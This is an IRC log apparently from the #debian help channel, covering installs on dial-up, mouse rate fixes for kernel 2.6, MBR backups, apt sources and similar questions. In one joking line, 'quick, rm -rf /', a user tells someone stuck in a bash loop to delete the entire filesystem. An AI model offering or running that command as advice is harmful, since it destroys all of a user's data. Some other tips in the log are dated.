| 06:44.23 | bancus | I get this error when I try to do anything with aptitude: W: Warning: could not lock the cache file. Opening in read-only mode |
| 06:44.39 | bancus | Anyone know how I can fix it? I looked in /var/lock, but there's nothing there |
| 06:44.48 | phogg | Discipulus: only the brave, the foolish, and the insane |
| 06:44.51 | dondelelcaro | Discipulus: no, most people don't follow sid... |
| 06:45.28 | Discipulus | I'm downloading woody, but plan on following sarge |
| 06:46.20 | dondelelcaro | Discipulus: well, assuming you can download the packages as they get updated, its not a big deal. Most of the time the upgrades aren't that big, figure 5-10M a day, but sometimes a big bolus of packages move into testing... |
| 06:46.47 | pr0c | Discipulus, i've used the new sarge installer many times, i'd suggest giving that a try over a woody install and then an upgrade to sarge |
| 06:47.05 | Discipulus | dondelelcaro~ thats about an hour or so a day right? |
| 06:47.07 | lorax | i vist alot of websites that have flash in them, what is best browser to use for these sites? |
| 06:47.19 | dondelelcaro | Discipulus: depends on how fast your dialup is. |
| 06:47.31 | Discipulus | I usually get about 3-5kb/s |
| 06:47.47 | dondelelcaro | Discipulus: you can schedule the upgrades to download at night, so you should be ok with a few hours of download... |
| 06:48.06 | Discipulus | yea . . . thats not a bad idea |
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| 06:48.21 | Korn | ~qmail |
| 06:48.23 | | . URL: http://www.qmail.org/ |
| 06:48.27 | cheecheeo | Discipulus: I'm on 56k dial up and ive been using sarge for the past 6 months |
| 06:48.34 | bpence | simonrvn: woo hoo! it worked. thanks for the help |
| 06:48.40 | Korn | which one is a good mail check i think is mozilla something i forgot the damn name |
| 06:48.47 | simonrvn | bpence: ok |
| 06:48.50 | Discipulus | cheecheeo~ nice |
| 06:49.17 | Discipulus | see . . . when I started the download I started woody instead of sarge . . . and don't really feel like stopping to rm -fr everything and restart |
| 06:49.28 | cheecheeo | Discipulus: apt is nice, it saves everything in a cache while downloading, so interrupting downloads or pausing em wont cause the download to fail |
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| 06:51.04 | chemicallyrelian | how do i configure my mouse ? |
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| 06:51.25 | fritz | plz help |
| 06:51.30 | chemicallyrelian | it leaps about as if its a hyperactive kid. |
| 06:51.48 | fritz | i've d/l-ed mail(configured with fetchmailconf) and i dunno where is my email now :) |
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| 06:52.05 | zeo33x | chemicallyrelian: in what? X or console |
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| 06:53.45 | lorax | i vist alot of websites that have flash in them, what is best browser to use for these sites???? |
| 06:53.51 | soleil | is there any way to verify that X is getting any mouse data at all? |
| 06:53.54 | the1 | mozilla? |
| 06:54.24 | rss | lorax mozilla |
| 06:54.42 | pr0c | lorax, 'best'? links is best for flash sites ;x |
| 06:55.01 | rss | lorax: or its derivatives |
| 06:55.12 | simonrvn | definitely a text browser is best for flash site ;) |
| 06:55.16 | simonrvn | +s |
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| 06:55.32 | rss | chemicallyrelian where is your mouse giving problem ? in X ? |
| 06:55.46 | rss | chemicallyrelian in gnome/kde ? |
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| 06:58.11 | the1 | my mouse is hooked up..but my kernel has no support for serial devices |
| 06:58.15 | the1 | :-( |
| 06:58.30 | the1 | so i don't run gpm or X11 on the box i am on |
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| 07:04.10 | flan | hmm |
| 07:04.13 | flan | ok here goes |
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| 07:04.39 | simonrvn | the1: so you compile the serial support in, silly |
| 07:04.51 | dnielsen | .. can't wait for debian installer to be ready.. |
| 07:05.00 | soleil | ok, heres what im noticing now... my mouse works well in GPM, but it works rather crappily in X |
| 07:05.03 | briankeys | what is the command to visuially configure apt again? |
| 07:05.03 | soleil | on and of |
| 07:05.04 | soleil | on and off* |
| 07:05.16 | LonelyOne | briankeys: apt-setup ? |
| 07:05.19 | simonrvn | apt-setup? |
| 07:05.30 | flan | assigning device section with no busID to primary device then no device detected... I get this error when starting gdm.... can someone direct me to a tut on this? |
| 07:05.33 | briankeys | thanks ;) |
| 07:05.38 | dnielsen | soleil, are you by any chance on kernel 2.6 ? |
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| 07:05.49 | soleil | dnielsen: yes, i am |
| 07:05.57 | FlyHigh6666 | good ,orning |
| 07:06.01 | FlyHigh6666 | m |
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| 07:06.34 | FlyHigh6666 | have some problems with swat ... may somebody can help me |
| 07:06.49 | the_faulk | so once i install the base system i can install the rest of the packages later? |
| 07:06.59 | dnielsen | soleil, Okay, I had some people report to me that the recent default changes in the poll rate caused wierdness - Linus changed the default.. |
| 07:07.04 | briankeys | FlyHigh6666, just ask |
| 07:07.15 | azreal | what happened to xlib6g in sid? |
| 07:07.28 | soleil | dnielsen: so i need to reconfigure my kernel and set it back to whatever the old default was? |
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| 07:08.10 | soleil | dnielsen: thats interesting though, because if i use KDE, my mouse works smoothly... |
| 07:08.13 | dnielsen | soleil, no, you can parse the old default at boot time and you should be fine - lemme just dig up the answer |
| 07:08.21 | the_faulk | how do i install wine in debian? |
| 07:08.29 | the_faulk | apt-get install wine? |
| 07:08.51 | azreal | the_faulk: open a bottle, and poor it into your case |
| 07:08.54 | dnielsen | soleil, it's a strange bug.. trust me.. but Linus insists it's the "correct" solution so I guess we have to live with it |
| 07:09.06 | azreal | the_faulk: make sure to saturate the hard drive really well |
| 07:09.08 | menteco | Have a problem with Gnome Vumeter. I use ALSA and Vumeter does not respond to audio. |
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| 07:09.11 | LonelyOne | the_faulk: winesetuptk could be useful too |
| 07:09.36 | the1 | I did compile serial support ..but i have to reboot to get the new kernel to run |
| 07:09.58 | the1 | and...who ever thought of rebooting a linux system |
| 07:10.02 | the1 | its just wrong |
| 07:10.17 | the_faulk | i just downloaded a iso |
| 07:10.22 | the_faulk | i have one blank cd-r left |
| 07:10.38 | soleil | dnielsen: i found the following: either setting psmouse_noext=1, or psmouse_rate=60 & psmouse_resolution=200 should clear the problem up... |
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| 07:10.54 | LonelyOne | the_faulk: don't waste your cdr, neither mirrors bandwidth : just download 2 or 5 x 1.44M floppies and do a netinst.. |
| 07:10.54 | the_faulk | and no money for a week |
| 07:10.56 | the_faulk | i hope this is the right one.... |
| 07:11.06 | dnielsen | soleil, yeah - or buy a USB mouse (those aren't affected) |
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| 07:11.33 | soleil | dnielsen: i'm going to try rebooting. if it works i wont be back for a while... thanks in advance, just in case |
| 07:11.36 | the_faulk | LonelyOne: could you show me witch files i need to download? |
| 07:11.47 | briankeys | does Debian have any console-over-serial scripts? |
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| 07:13.07 | LonelyOne | the_faulk: you can try http://people.debian.org/~dwhedon/boot-floppies/ . i personally use the bf2.4 1.44M floppies, write them using dd (or rawrite.exe if you're under winblows) |
| 07:13.23 | the_faulk | im using slack ;-) |
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| 07:14.28 | the_faulk | well ive already downloaded the iso |
| 07:14.35 | the_faulk | think i should just try it? |
| 07:14.37 | LonelyOne | the_faulk: you can get all .bin files from there ftp://ftp.debian.org/debian/dists/stable/main/disks-i386/current/images-1.44/bf2.4/ and write them to floppies (2 or all of them, depending of your hardware) using dd if=file.bin of=/dev/fd0 |
| 07:14.51 | LonelyOne | the_faulk: if you already downloaded it ... do what you want :) |
| 07:14.53 | dnielsen | man, I would do most anything for a working SID snapshot CD I could install from using d-i |
| 07:15.06 | simonrvn | the_faulk: burn the 1st .iso to cd, then boot from it using bf24 |
| 07:15.18 | simonrvn | the_faulk: then follow the guide |
| 07:15.20 | simonrvn | @+ig |
| 07:15.21 | the_faulk | how do i do that? |
| 07:15.29 | ravenbird | somebody said install guide was http://www.debian.org/releases/stable/ or http://www.debian.org/distrib/netinst or if you're totally clueless read http://www.osnews.com/story.php?news_id=2016&page=1 too |
| 07:15.34 | menteco | vumeter in gnome does not work with ALSA. how can I make it work? |
| 07:15.57 | danac | LonelyOne: do you know anything about using dd to back up your mbr? i'm installing windows on another partition and i don't want the system trashed |
| 07:16.03 | the_faulk | write all the bf24's to disk? |
| 07:16.22 | simonrvn | the_faulk: you said you had the .iso, just burn that. like i said above |
| 07:16.41 | the_faulk | ok |
| 07:16.44 | simonrvn | the_faulk: then when it asks you to boot, just type bf24 |
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| 07:16.51 | the_faulk | oh i see... |
| 07:16.55 | LonelyOne | danac: hmmm.. not sure, i thought it was only 512 bytes to dump, but really not sure.. |
| 07:17.19 | lorax | i need to have xlibs 4.2.0 for winex but my version is 4.1.0-16 woody, will it break my ssy if i manually install 4.2? |
| 07:17.19 | photonic | Anyone know a source for XFree86 4.3 .deb's? |
| 07:17.31 | danac | LonelyOne: that rings a bell but i'm not sure exacly how to do it |
| 07:17.45 | simonrvn | lorax: sarge has that |
| 07:17.49 | simonrvn | photonic: yes |
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| 07:17.52 | streuner | ~xf4.3 debs |
| 07:18.04 | LonelyOne | danac: but after installing windows, you can restore it with your boot loader, boot under your debian with floppies/cd and launch lilo |
| 07:18.09 | photonic | simonrvn: Can I apt-get them? |
| 07:18.13 | simonrvn | yes |
| 07:18.15 | photonic | I really don't want to install from source |
| 07:18.17 | streuner | !xf4.3 debs |
| 07:18.18 | dpkg | XF4.3 debs are avaiable at deb ftp://ftp.cs.umn.edu/pub/debian-misc/daniels/current/{woody},{sarge},{sid}/i386 ./ (sources.line), keep in mind that these debs are NOT maintained. |
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| 07:18.29 | photonic | awesome |
| 07:18.32 | danac | LonelyOne: i tried to make a boot disk, but it runs out of space |
| 07:18.34 | simonrvn | @experimental |
| 07:18.39 | simonrvn | @+experimental |
| 07:18.40 | ravenbird | experimental is If you want to use some certain packages in experimental (probably xfree86 4.3.0), you need first a sources.list line of 'deb http://debian.mirror/debian/ ../project/experimental main', then 'Package: *', 'Pin: release a=experimental', 'Priority: 1001' in /etc/apt/preferences. Remember, it's hard to get to for a reason! do: apt-get -t experimental install foo bar |
| 07:18.45 | JimButton | what does "not maintained" mean? |
| 07:18.51 | DMJC | sweet thanks |
| 07:19.17 | simonrvn | probably means that they're not updated *shrug* |
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| 07:19.28 | JimButton | is daniel stone just putting up packages and let the shit hit the fan? :) |
| 07:19.33 | streuner | JimButton: well, these debs aren't in BTS... |
| 07:19.42 | simonrvn | looks like it =) |
| 07:20.13 | lorax | simonrvn: cool, but i have woody, and am not good enough for sarge, so if i up that one package, will it break woody? |
| 07:20.16 | simonrvn | that's proably closer to what's meant. not in BTS, therefore use at own risk |
| 07:20.32 | danac | LonelyOne: i have a knoppix cd would i be able to boot it somehow and restor and mbr? |
| 07:20.35 | simonrvn | lorax: look for backports. www.apt-get.org |
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| 07:21.04 | rss | lorax see backports.org |
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| 07:21.12 | DMJC | finally.... a game so wrong it's illegal to sell here |
| 07:22.06 | LonelyOne | danac: i guess you can. append root=/dev/xxxN (your root fs) and it should boot almost normally on your slack |
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| 07:22.23 | the_faulk | do i need to write down any mirors before i start installing? |
| 07:22.27 | the_faulk | the iso doesnt have a lost of mirrors? |
| 07:22.27 | the_faulk | **list |
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| 07:22.33 | LonelyOne | danac: -slack+current_linux |
| 07:22.58 | JimButton | DMJC: ? |
| 07:22.59 | simonrvn | the_faulk: read the installation guide. it'll tell you all you know |
| 07:23.07 | simonrvn | need to know,sorry |
| 07:23.15 | j3w23 | hello, people! |
| 07:23.16 | DMJC | postal 2 linux |
| 07:23.23 | danac | LonelyOne: i don't understand what you mean |
| 07:23.38 | tracy | who is this? |
| 07:23.50 | menteco | I can't make gnome vumeter to work. need some help. |
| 07:24.10 | tracy | is anybody there? |
| 07:24.14 | LonelyOne | danac: do you actually have a linux installed ? i thought you already had one, and was goign to install win somewhere else |
| 07:24.38 | tracy | dont know |
| 07:24.39 | simonrvn | tracy: no, no one's here. we're all figments of your imagination :P |
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| 07:25.07 | tracy | wonderful the drugs must be working |
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| 07:25.14 | soleil | dnielsen: no luck :( |
| 07:25.15 | j3w23 | i need help with iproute2! |
| 07:25.15 | simonrvn | hehe |
| 07:25.20 | Aqua_ | Excuse me please, why can't I switch VMWARE to fullscreen mode on DEBIAN ? (it works in Mandrake) |
| 07:25.23 | Aqua_ | Error: |
| 07:25.28 | Aqua_ | XFree86 direct graphics (DGA extension) initialization failed. |
| 07:25.28 | Aqua_ | Cannot switch to full screen mode. |
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| 07:25.31 | simonrvn | Aqua_: don,t paste here |
| 07:25.38 | Aqua_ | simonrvn: k |
| 07:25.42 | danac | LonelyOne: that's exacly what i'm doing, i have debian on my first hdd and i want to put windows on the second one, but i'm not sure what it'll do do any or all of the mbrs, for all i know because it's a different hdd it might not matter |
| 07:25.47 | simonrvn | #flood |
| 07:26.05 | photonic | what is the name for testing/unstable? is it sid? |
| 07:26.06 | tracy | must go now ta ta |
| 07:26.10 | Dostoevsky | hello. sorry for bother you. i was looking for a web or file that tell me how many bytes will enlarge my kernel if i include something (ie: fat fs or something like that) |
| 07:26.21 | simonrvn | photonic: testing = sarge untsable = sid |
| 07:26.25 | simonrvn | st* |
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| 07:26.31 | Dostoevsky | i dont know if it exists :S |
| 07:26.41 | LonelyOne | danac: i'll bet winblows setup will destroy all mbr he can see .. :( |
| 07:26.46 | Dostoevsky | (sorry for my english) |
| 07:26.54 | simonrvn | Dostoevsky: try googling for the info |
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| 07:27.27 | DMJC | Could not load OpenGL library |
| 07:27.32 | Dostoevsky | simonrvn, yes, but i cant figure out "how look for it"... i didint find it |
| 07:27.33 | DMJC | anyone had this error before??> |
| 07:27.38 | dnielsen | soleil, okay... and you don't have a synaptic or something else strange in terms of hardware that could be slightly off ? |
| 07:27.42 | DMJC | i've got the nvidia drivers installed |
| 07:27.58 | danac | LonelyOne: so would it be possibel for me to run update-grub from knoppix to restor things to normal? or will it even know that there are any partitions on the drive anymore assuming the mbr is erased |
| 07:28.00 | soleil | dnielsen: i do find this quite odd. the mouse is _very_ smooth if i use WindowMaker; however, if i use PWM, its randomly receives input |
| 07:28.17 | dnielsen | soleil, ... odd.. are your X setting good? |
| 07:28.24 | soleil | dnielsen: i think so. |
| 07:28.40 | bc2008 | hey guys, I just installed debian. I'm having a strange problem. when I boot, I don't get an ip. (it's supposed to use dhcp). I tried ifconfig eth0 up <ip> and that gives me the ip but DNS doesn't work. any ideas how to solve this? |
| 07:28.43 | dnielsen | soleil, anyways I have to run, libranet install is calling |
| 07:28.51 | FlyHigh6666 | oh my girls is up .. sorry |
| 07:29.06 | Dostoevsky | simonrvn, if it dosent exist i will try to develop it. I will do it viewing the source and try compiling and compiling to view the compiled kernel size |
| 07:29.14 | FlyHigh6666 | my problem with swat: |
| 07:29.20 | photonic | thanks |
| 07:29.22 | LonelyOne | danac: if update-grub binary is available on your current linux hard drive, you'll have to boot from your cdrom, and append 'root=/dev/xxxx' at prompt. so you'll boot on your current linux distro, even if the mbr was destroyed |
| 07:29.24 | chemicallyrelian | um, apt-get install gnome doesn't work. callme a dumbass and tell use the right one. |
| 07:29.27 | simonrvn | Dostoevsky: the info is out there, it'S just that it'S rather specilised |
| 07:29.32 | FlyHigh6666 | no vonnection on Port 901 |
| 07:29.45 | FlyHigh6666 | no connection |
| 07:29.47 | Dostoevsky | simonrvn, ok, thanks i will look for it |
| 07:29.48 | simonrvn | specialised even |
| 07:29.55 | photonic | i'm going to bed |
| 07:29.58 | photonic | thanks for all the help |
| 07:30.08 | simonrvn | ok |
| 07:30.24 | FlyHigh6666 | swat doesent answer any request |
| 07:30.33 | FlyHigh6666 | may somebody can help ?? |
| 07:30.39 | simonrvn | FlyHigh6666: try #samba |
| 07:30.48 | simonrvn | or #swat |
| 07:30.53 | FlyHigh6666 | ok tnx |
| 07:31.00 | FlyHigh6666 | cu |
| 07:31.02 | danac | LonelyOne: thanks |
| 07:31.06 | FlyHigh6666 | www.steffek.de |
| 07:31.15 | simonrvn | aaw |
| 07:31.23 | hoxu|uni | Is today sunday? |
| 07:31.36 | simonrvn | it got as little strange :) |
| 07:31.41 | simonrvn | s/as/a/ |
| 07:31.46 | tempo | troubled: are you still here? |
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| 07:32.27 | simonrvn | probably in bed by now. (i should be too) |
| 07:32.42 | tempo | simonrvn: so should i:) |
| 07:32.47 | simonrvn | hehe |
| 07:33.49 | tempo | i need to finish this thing. lazarus helped me make this thing happen (apache-ssl - > what a pain) - now i am battling with forcing it to redir from http to https |
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| 07:34.04 | tempo | simonrvn: do you know how to force it? |
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| 07:34.41 | factor | how do i get grub to replace lilo ? is it a simple command or do I have to have a conf file like lilo? |
| 07:34.45 | simonrvn | tempo: redirects i'm not very good at sorry :/ |
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| 07:34.59 | tempo | simonrvn: heh |
| 07:35.10 | tempo | simonrvn: ok. thanks. good night |
| 07:35.10 | aum | hi - does debian support encrypted swap partition? |
| 07:35.21 | simonrvn | you too |
| 07:35.54 | simonrvn | aum: not so much debian as it is the kernel. yes, the kernel can support that. |
| 07:35.58 | redrick | factor: Go to "Information" on http://linuxmafia.com/kb/Debian, find the GRUB in Debian HOWTO. |
| 07:36.04 | j3w23 | may someone help me ? eql , i need to add 2 links adsl at same machine |
| 07:36.16 | factor | redrick thanks. |
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| 07:36.35 | simonrvn | hey, i just might get this done before i go to bed =). yay |
| 07:36.55 | L00thar | Almost makes this carnival of carnage worth it... almost. |
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| 07:37.28 | L00thar | always a critic... |
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| 07:38.16 | doodeedaa | hey |
| 07:38.21 | Whistleboy | How does one add parallel port printer support to cups? I get client-error-not-possible |
| 07:38.28 | shamoun | is there a way to make my linux partitions visible to windows? |
| 07:38.34 | doodeedaa | i just installed 2.6.0 kernel - but when i run slmon - i get no data in mem and cpu it says 0 |
| 07:38.36 | doodeedaa | why is that |
| 07:38.48 | L00thar | shamoun: samba? |
| 07:39.27 | shamoun | there is a samba port for windows? |
| 07:40.20 | L00thar | shamoun: samba should make linux partitions available natively. But ask s/o who uses it. |
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| 07:40.43 | shamoun | L00thar, thx |
| 07:40.48 | L00thar | hold on. shamoun: maybe I'm wrong. |
| 07:41.06 | simonrvn | man i swaer xfs works better in 2.6 than 2.4 |
| 07:41.10 | L00thar | shamoun: I wonder if both computers have to be runing... |
| 07:41.12 | L00thar | running |
| 07:41.27 | zugzug | hi ive been using Apollon and the FastTrack module and it just wont connect to the network it just stays at connecting... i was wondering if anyone had this problem |
| 07:41.37 | simonrvn | maybe i'm just imagining things too |
| 07:41.59 | shamoun | hmm, ltools looks interesting |
| 07:42.04 | shamoun | but i think it is ext2 only |
| 07:42.09 | shamoun | and i want ext3 |
| 07:42.16 | soleil | is it possible to see what application is opening an internet socket? |
| 07:42.21 | L00thar | What Windows and reiserfs? C'mon... |
| 07:42.47 | shamoun | ewww,it is in java |
| 07:42.48 | simonrvn | soleil: yes. netstat, or lsof -i :$port_number |
| 07:42.54 | JimButton | if you want to destroy your data, better use both, yeah... |
| 07:42.54 | shamoun | psht, id rather not use it then |
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| 07:43.03 | L00thar | shamoun: This is Linux partitions when Linux isn't running? |
| 07:43.21 | shamoun | L00thar, yes |
| 07:43.27 | shamoun | it is on the same machine |
| 07:43.42 | shamoun | i want to mount the drive with my linux install on it and read it from my windows machine |
| 07:43.54 | L00thar | shamoun: Figgers. I have no more opinion -- sorry. |
| 07:43.55 | JimButton | shamoun: it is always good to make a FAT partition for shared data |
| 07:44.22 | L00thar | shamoun: Ya. JimButton has the point there. |
| 07:44.36 | JimButton | FAT can even be read by neanderthals... |
| 07:44.37 | shamoun | blegh |
| 07:44.42 | L00thar | shamoun: Linux runs VFAT natively. |
| 07:44.54 | *** mode/#debian [+o simonrvn] by ChanServ |
| 07:45.02 | the1 | linux no longer runs CFAT |
| 07:45.03 | *** mode/#debian [-q *!*@H250-136.FREEDOM.RESNET.ALBANY.EDU] by simonrvn |
| 07:45.06 | the1 | as of 2.6 |
| 07:45.14 | shamoun | i want to be able to use the entire 180 gigs for mjpeg capture, and if i use a vfat then it will be slower than the ext3 |
| 07:45.25 | *** mode/#debian [-o simonrvn] by simonrvn |
| 07:45.26 | the1 | so ...no more windows compressed drive mounting |
| 07:45.41 | JimButton | shamoun: well, then you will probably have to trust some crappy buggy software to read your data :) |
| 07:46.09 | JimButton | shamoun: but maybe there is something good, don't know |
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| 07:46.48 | exobyte | how can I find the size of a directory? |
| 07:46.57 | simonrvn | du -sh /dir |
| 07:46.58 | redrick | L00thar: I hated it when that happened. Switched to punched paper tape, and everything's better now. |
| 07:46.59 | JimButton | shamoun: do you also want to write from windows? |
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| 07:47.03 | exobyte | simonrvn: thx |
| 07:47.25 | L00thar | redrick: Ya. I even worked on an early NC machine with that... |
| 07:47.25 | shamoun | JimButton, no\ |
| 07:47.48 | JimButton | shamoun: then it should be ok |
| 07:47.49 | L00thar | exobyte: I use mc in console usually myself. |
| 07:48.01 | simonrvn | fuck i don't need elavator=deadline set at all |
| 07:48.03 | JimButton | shamoun: can't you just use the ext2 drivers and ignore the journal for read-only? |
| 07:48.05 | bc2008 | hey guys, I just installed debian. I'm having a strange problem. when I boot, I don't get an ip. (it's supposed to use dhcp). I tried ifconfig eth0 up <ip> and that gives me the ip but DNS doesn't work. any ideas how to solve this? |
| 07:48.09 | simonrvn | elev* |
| 07:48.13 | soleil | simonrvn: thanks, nifty tool |
| 07:48.40 | simonrvn | soleil: quite :) |
| 07:48.50 | pr0c | bc2008, does dhclient eth0 work? |
| 07:49.20 | shamoun | i don't know, i still have to do the linux install, it used to be linux only, but now that i have a 180 gig hard drive i decided to put windows on the 40 since dvd backups are easier (with menus) |
| 07:49.48 | bc2008 | pr0c: I get an error SIOCADDRT: file exists |
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| 07:50.39 | simonrvn | try what pr0c said |
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| 07:52.12 | bpence | how do I unzip a windows ZIP file? |
| 07:52.24 | simonrvn | you have your answer in front of you |
| 07:52.28 | dondelelcaro | bpence: with unzip |
| 07:52.33 | L00thar | bpence: there's GNUnix unzip |
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| 07:52.47 | bc2008 | simonrvn: me? |
| 07:52.49 | bpence | I tried just 'unzip blah.ZIP' but it didn't work. |
| 07:52.55 | pr0c | bpence, apt-get install unzip |
| 07:53.03 | simonrvn | bc2008: the thing about trying what pr0c said, yes |
| 07:53.07 | dondelelcaro | !didn't work |
| 07:53.08 | dpkg | Look buddy, doesn't work is an ambiguous statement. Does it sit on the couch all day? Does it want more money? Does it waste its time on IRC all day long? Please be specific! Define 'it' and what it isn't doing. |
| 07:53.27 | soleil | it doesnt work for me either :-/ |
| 07:53.49 | bc2008 | brb |
| 07:53.50 | soleil | kudos to the first person that defines 'it', 'the problem,' and 'the solution' |
| 07:54.30 | bpence | got it.. thanks guys |
| 07:54.33 | dondelelcaro | 'penis' 'facidity' 'herbal viagra' |
| 07:54.44 | simonrvn | hehehe |
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| 07:55.17 | soleil | actually... 'mouse' 'works in WindowMaker, but not Kahakai or PWM' '\0' |
| 07:55.18 | L00thar | I thought the solution was Stallone. |
| 07:55.26 | beta3 | what exactly does jack do? |
| 07:55.31 | beta3 | is it like arts for alsa? |
| 07:55.55 | dondelelcaro | beta3: it jacks. that's exactly what jack does. |
| 07:56.08 | simonrvn | it's a sound daemon. but apparently 'professional' grade or something |
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| 07:56.34 | simonrvn | i haven't been able to get it to do jack shit though |
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| 07:56.50 | soleil | mouse also works with GPM |
| 07:56.53 | dondelelcaro | hrm... the jack I'm familiar with is used to rip cd's with one command... aka: jack a cd. |
| 07:57.05 | dondelelcaro | apt-cache show jack |
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| 07:57.36 | simonrvn | it isn't a jack hammer.. |
| 07:57.39 | lorax | how do i check what fsb my computer is runnging at? |
| 07:57.41 | L00thar | It's jack all. |
| 07:58.03 | simonrvn | fsb? runnging? |
| 07:58.09 | briankeys | Do all SSH clients display programs like this? http://post.briankeys.net/putty1.PNG |
| 07:58.31 | lorax | lol : i thought i saw my computer runnign at 33mhz bus speed when it booted |
| 07:58.40 | lorax | its supposed to be 533mhz |
| 07:58.55 | soleil | briankeys: no |
| 07:59.11 | soleil | briankeys: (im assuming thats just a window with a terminal in it) |
| 07:59.22 | briankeys | yeah, puTTY, on windows XP. |
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| 07:59.37 | simonrvn | it's probably putty, a GUI ssh client |
| 07:59.39 | soleil | briankeys: but you can run 'ssh' from any terminal in linux after you've `apt-get install ssh` |
| 08:00.08 | simonrvn | it's in sid too. i prefer uxterm+ssh personally |
| 08:00.26 | briankeys | well i operate in windows. i just run servers in linux. i have a more powerful XP machine |
| 08:00.46 | soleil | briankeys: why dont you make it an even more powerful linux machine =) |
| 08:00.55 | simonrvn | woohoo |
| 08:01.02 | briankeys | soleil, because i'm a gamer ;) |
| 08:01.11 | soleil | s/gamer/slacker :-P |
| 08:01.12 | lorax | simonrvn: i did cat /proc/ide/via and pci speens is 33.3 mhz? is that right? |
| 08:01.15 | Nurbs | lorax: '33 MHz should be enough for anyone' |
| 08:01.22 | simonrvn | lorax: sounds right |
| 08:01.45 | simonrvn | assuming speens means speed |
| 08:02.31 | dondelelcaro | Nurbs: for a keyboard controller, sure. |
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| 08:07.22 | zugzug | wow my p3 impresses me lol make -j4 on kernel and no lag :) |
| 08:07.59 | Nurbs | what kernel are you running? |
| 08:08.04 | exobyte | I'm trying to install office 97, but I'm getting an error that vbe.dll was unable to unregister itself in the registry |
| 08:08.09 | briankeys | doh |
| 08:08.10 | exobyte | i wine |
| 08:08.10 | Discipulus | fong sounds like dong |
| 08:08.14 | briankeys | i forgot -j2 on this kernel make |
| 08:08.16 | Discipulus | :-\ |
| 08:08.19 | briankeys | and its going on two hjours now |
| 08:08.29 | zugzug | hahah is u dont -jsomething kernel takes forever :P |
| 08:09.02 | aum | what's the quickest/easiest way to run an encrypted swap partition on debian? |
| 08:09.06 | zugzug | id like to a have quad 64 bit cpu in those times :) |
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| 08:13.00 | vinsci | hmm, seems like p.d.o is up |
| 08:13.25 | vinsci | ...or someone has hacked the mirror I'm using ;) |
| 08:14.00 | lazarus | vinsci: packages.debian.org is down at the moment. |
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| 08:14.28 | lazarus | vinsci: are you referring to people.d.o? |
| 08:14.55 | rss | vinsci: maybe only your apt-source is working |
| 08:15.39 | lorax | i have a ntfs drive and i want to make it writeable, so i can store stuff to it, and change ownership and stuff. Any ideas? |
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| 08:15.45 | lazarus | ROOOOOOOOOOOOOOOOOOOOOOOOOT |
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| 08:15.47 | vinsci | I'm getting a huge update |
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| 08:16.19 | lazarus | vinsci: that's completely completely unrelated to packages.debian.org |
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| 08:16.43 | lazarus | vinsci: packages.debian.org is not a repository |
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| 08:17.44 | soleil | awesome, i've entered myself into an infinite bash loop. |
| 08:18.12 | vinsci | lazarus: ok. How are the new packages coming to the mirrors? (this is ftp.fi.debian.org) |
| 08:18.14 | isaac_ | quick, rm -rf / |
| 08:18.15 | deadcat | does debmake build a .deb from a source tree? |
| 08:18.26 | lazarus | vinsci: master.debian.org is fine for a while |
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| 08:19.11 | Nyle | cd flonix |
| 08:19.15 | Nyle | doh |
| 08:19.20 | lazarus | vinsci: weeks |
| 08:19.55 | lorax | anyone know how to write to ntfs drive? |
| 08:20.10 | the1 | lorax reformat it |
| 08:20.15 | the1 | or run windoze |
| 08:20.23 | deadcat | lorax: your kernel support writing? |
| 08:20.25 | the1 | or don't change any filesizes and use linux 2.6 |
| 08:20.48 | vinsci | lazarus: ah, thanks - I was under the impression that packages.d.o was a crucial link for end users and hadn't really attempted an update on the desktop machine until I installed a new package today |
| 08:20.58 | bc2008 | how do I get mplayer with apt> |
| 08:21.01 | lazarus | vinsci: no, it's an information site |
| 08:21.03 | lorax | heard 2.6 is evil.. to buggy |
| 08:21.04 | bc2008 | s/>/? |
| 08:21.16 | the1 | apt-cache search mplayer |
| 08:21.27 | deadcat | !tell bc2008 about mplayer |
| 08:21.45 | chaz | mplayer isn't part of official debian. |
| 08:21.47 | Discipulus | why can apt be so confusing? |
| 08:21.53 | Discipulus | so many commands |
| 08:22.06 | lazarus | vinsci: quite useful, hence the /topic announcement, ,but we're all surviving without it :) |
| 08:22.19 | lazarus | Discipulus: man apt-get |
| 08:22.20 | vinsci | lazarus: guess it shows I should really take the time to read up on becoming a developer and learn these things :) |
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| 08:22.44 | lazarus | vinsci: even without becoming a DD, it's good to know thoe things DDs should know :) |
| 08:23.01 | vinsci | exactly my point :) |
| 08:23.03 | Discipulus | lazarus~ gimme time . . . i'm still downloading the first debian iso with jidgo |
| 08:23.10 | soleil | i dont like how the day just changed. |
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| 08:24.41 | the1 | Discipulus: iso ..... real debian users boot installers vis bootp/dhcp. cd burners are for people without network connections! |
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| 08:25.53 | Discipulus | the1~ I'm on dial-up . . . hence no REAL network connection |
| 08:26.02 | Discipulus | unless the installer lets me do pppconfig && pon |
| 08:26.04 | the1 | you can still ahve a lan |
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| 08:26.10 | the1 | *have |
| 08:26.16 | briankeys | dialup.. ouch |
| 08:26.23 | Discipulus | I don't though |
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| 08:26.40 | Discipulus | briankeys~ can't convince my mom to gimme cable :-\ |
| 08:26.47 | soleil | cdburners are unreliable as the devil |
| 08:26.55 | wal | i was wondering if someone clould email me an working sources.list so i can debug mine |
| 08:27.05 | Discipulus | I plan on setting up a lan shortly though . . . need to make room |
| 08:27.07 | lazarus | wal: man 5 sources.list |
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| 08:27.16 | gp | ooh nice ipv6 |
| 08:27.24 | wal | ! |
| 08:27.36 | wal | k thanks |
| 08:27.50 | deadcat | wal: deadcat.katzeye.com/index.cgi?sysconfig and look for it there. |
| 08:28.03 | pole | http://setpyul.com/log <- i'm using linux 2.6.0 with udev. when i plug in my usb hdd, i get that... what am i doing wrong? |
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| 08:30.15 | idkapd | can anyone tell me why links 2 is not in debian? |
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| 08:30.44 | cheecheeo | svgalib: Cannot get I/O permissions. |
| 08:30.53 | cheecheeo | could someone help me resolve that issue? |
| 08:31.24 | hoxu|uni | pole, did you try simply mounting the device? |
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| 08:32.21 | ecstatix | how do you get wget to download a set of files that are linked from an index page? unto only one level |
| 08:32.41 | hoxu|uni | ecstatix, do you want someone to read the manpage for you aloud? |
| 08:33.08 | ecstatix | hoxu|uni no. i have it open, i just cant get the options correct |
| 08:33.54 | hoxu|uni | ecstatix, try having look at -nc -nd -np -r -l and -A options |
| 08:34.05 | ecstatix | ok |
| 08:34.18 | pole | hoxu|uni: i cant find the device and i dont think udev created it |
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| 08:34.30 | s1ut | :-D |
| 08:34.46 | hoxu|uni | pole, do you have /dev/scd2 for example? |
| 08:34.48 | s1ut | Wow. Its quiet. |
| 08:34.55 | hoxu|uni | !lart s1ut |
| 08:35.00 | s1ut | Sweet. |
